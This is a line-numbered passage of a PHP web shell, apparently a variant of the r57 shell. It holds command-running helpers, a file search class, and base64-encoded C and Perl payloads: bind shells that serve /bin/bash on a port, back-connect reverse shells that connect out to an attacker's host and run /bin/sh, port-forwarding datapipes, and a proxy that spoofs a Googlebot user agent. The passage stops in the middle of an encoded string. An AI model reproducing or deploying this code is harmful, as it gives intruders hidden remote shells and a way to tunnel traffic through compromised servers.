1892                     return $ret . ">";
1893                 }
1894                 function which($pr) {
1895                     $path = '';
1896                     $path = ex("which $pr");
1897                     if (!empty($path)) {
1898                         return $path;
1899                     } else {
1900                         return false;
1901                     }
1902                 }
1903                 function ps($pr) {
1904                     global $unix;
1905                     $path = '';
1906                     if ($unix) {
1907                         $path = ex("ps -aux | grep $pr | grep -v 'grep'");
1908                     } else {
1909                         $path = ex("tasklist | findstr \"$pr\"");
1910                     }
1911                     if (!empty($path)) {
1912                         return $path;
1913                     } else {
1914                         return false;
1915                     }
1916                 }
1917                 function locate($pr) {
1918                     $path = '';
1919                     $path = ex("locate $pr");
1920                     if (!empty($path)) {
1921                         return $path;
1922                     } else {
1923                         return false;
1924                     }
1925                 }
1926                 function cf($fname, $text) {
1927                     if (!morewrite($fname, base64_decode($text))) {
1928                         err(0);
1929                     };
1930                 }
1931                 function sr($l, $t1, $t2) {
1932                     return "<tr class=tr1><td class=td1 width=" . $l . "% align=right>" . $t1 . "</td><td class=td1 align=left>" . $t2 . "</td></tr>";
1933                 }
1934                 if (!@function_exists("view_size")) {
1935                     function view_size($size) {
1936                         if ($size >= 1073741824) {
1937                             $size = @round($size / 1073741824 * 100) / 100 . " GB";
1938                         } elseif ($size >= 1048576) {
1939                             $size = @round($size / 1048576 * 100) / 100 . " MB";
1940                         } elseif ($size >= 1024) {
1941                             $size = @round($size / 1024 * 100) / 100 . " KB";
1942                         } else {
1943                             $size = $size . " B";
1944                         }
1945                         return $size;
1946                     }
1947                 }
1948                 function DirFilesR($dir, $types = '') {
1949                     $files = Array();
1950                     if (($handle = @opendir($dir))) {
1951                         while (false !== ($file = @readdir($handle))) {
1952                             if ($file != "." && $file != "..") {
1953                                 if (@is_dir($dir . "/" . $file)) $files = @array_merge($files, DirFilesR($dir . "/" . $file, $types));
1954                                 else {
1955                                     $pos = @strrpos($file, ".");
1956                                     $ext = @substr($file, $pos, @strlen($file) - $pos);
1957                                     if ($types) {
1958                                         if (@in_array($ext, explode(';', $types))) $files[] = $dir . "/" . $file;
1959                                     } else $files[] = $dir . "/" . $file;
1960                                 }
1961                             }
1962                         }
1963                         @closedir($handle);
1964                     }
1965                     return $files;
1966                 }
1967                 class SearchResult {
1968                     var $text;
1969                     var $FilesToSearch;
1970                     var $ResultFiles;
1971                     var $FilesTotal;
1972                     var $MatchesCount;
1973                     var $FileMatschesCount;
1974                     var $TimeStart;
1975                     var $TimeTotal;
1976                     var $titles;
1977                     function SearchResult($dir, $text, $filter = '') {
1978                         $dirs = @explode(";", $dir);
1979                         $this->FilesToSearch = Array();
1980                         for ($a = 0;$a < count($dirs);$a++) $this->FilesToSearch = @array_merge($this->FilesToSearch, DirFilesR($dirs[$a], $filter));
1981                         $this->text = $text;
1982                         $this->FilesTotal = @count($this->FilesToSearch);
1983                         $this->TimeStart = getmicrotime();
1984                         $this->MatchesCount = 0;
1985                         $this->ResultFiles = Array();
1986                         $this->FileMatchesCount = Array();
1987                         $this->titles = Array();
1988                     }
1989                     function GetFilesTotal() {
1990                         return $this->FilesTotal;
1991                     }
1992                     function GetTitles() {
1993                         return $this->titles;
1994                     }
1995                     function GetTimeTotal() {
1996                         return $this->TimeTotal;
1997                     }
1998                     function GetMatchesCount() {
1999                         return $this->MatchesCount;
2000                     }
2001                     function GetFileMatchesCount() {
2002                         return $this->FileMatchesCount;
2003                     }
2004                     function GetResultFiles() {
2005                         return $this->ResultFiles;
2006                     }
2007                     function SearchText($phrase = 0, $case = 0) {
2008                         $qq = @explode(' ', $this->text);
2009                         $delim = '|';
2010                         if ($phrase) foreach ($qq as $k => $v) $qq[$k] = '\b' . $v . '\b';
2011                         $words = '(' . @implode($delim, $qq) . ')';
2012                         $pattern = "/" . $words . "/";
2013                         if (!$case) $pattern.= 'i';
2014                         foreach ($this->FilesToSearch as $k => $filename) {
2015                             $this->FileMatchesCount[$filename] = 0;
2016                             $FileStrings = @file($filename) or @next;
2017                             for ($a = 0;$a < @count($FileStrings);$a++) {
2018                                 $count = 0;
2019                                 $CurString = $FileStrings[$a];
2020                                 $CurString = @Trim($CurString);
2021                                 $CurString = @strip_tags($CurString);
2022                                 $aa = '';
2023                                 if (($count = @preg_match_all($pattern, $CurString, $aa))) {
2024                                     $CurString = @preg_replace($pattern, "<SPAN style='color: #990000;'><b>\\1</b></SPAN>", $CurString);
2025                                     $this->ResultFiles[$filename][$a + 1] = $CurString;
2026                                     $this->MatchesCount+= $count;
2027                                     $this->FileMatchesCount[$filename]+= $count;
2028                                 }
2029                             }
2030                         }
2031                         $this->TimeTotal = @round(getmicrotime() - $this->TimeStart, 4);
2032                     }
2033                 }
2034                 function getmicrotime() {
2035                     list($usec, $sec) = @explode(" ", @microtime());
2036                     return ((float)$usec + (float)$sec);
2037                 }
2038                 $port_bind_bd_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
2039 A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
2040 GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
2041 b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
2042 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
2043 NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
2044 ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
2045 ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
2046 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
2047 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2048 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
2049 dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
2050 lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
2051                 $port_bind_bd_pl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
2052 VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
2053 JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
2054 TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
2055 lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
2056 Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
2057 Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
2058 lIENPTk47DQpleGl0IDA7DQp9DQp9";
2059                 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
2060 aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
2061 hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
2062 sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
2063 kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
2064 KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
2065 OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
2066                 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
2067 BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
2068 SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
2069 KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
2070 sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
2071 Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
2072 QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
2073 Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
2074                 $datapipe_c = "I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
2075 x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
2076 HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
2077 aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
2078 lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
2079 xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
2080 W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
2081 LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
2082 udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
2083 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
2084 iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
2085 KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
2086 gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
2087 hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
2088 iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
2089 ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
2090 vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
2091 AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
2092 QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
2093 ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
2094 gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
2095 wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
2096 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
2097 MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
2098 gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
2099 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
2100 HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
2101 dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
2102 KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
2103 ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
2104 E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
2105 Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
2106 NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
2107 J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
2108 CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
2109 dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
2110 gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
2111 lsZSk7DQogIHJldHVybiAwOw0KfQ==";
2112                 $datapipe_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
2113 CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
2114 bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
2115 gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
2116 NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
2117 iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
2118 aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
2119 SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
2120 xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
2121 WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
2122 CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
2123 yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
2124 I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
2125 m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
2126 IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
2127 lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
2128 QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
2129 CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
2130 c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
2131 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
2132 UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
2133 DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
2134 ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
2135 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
2136                 $prx_pl = "IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
2137 luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
2138 0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
2139 UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
2140 DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
2141 AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
2142 GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
2143 cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
2144 BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
2145 AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
2146 TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
2147 eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
2148 oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
2149 VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
2150 CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
2151 b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
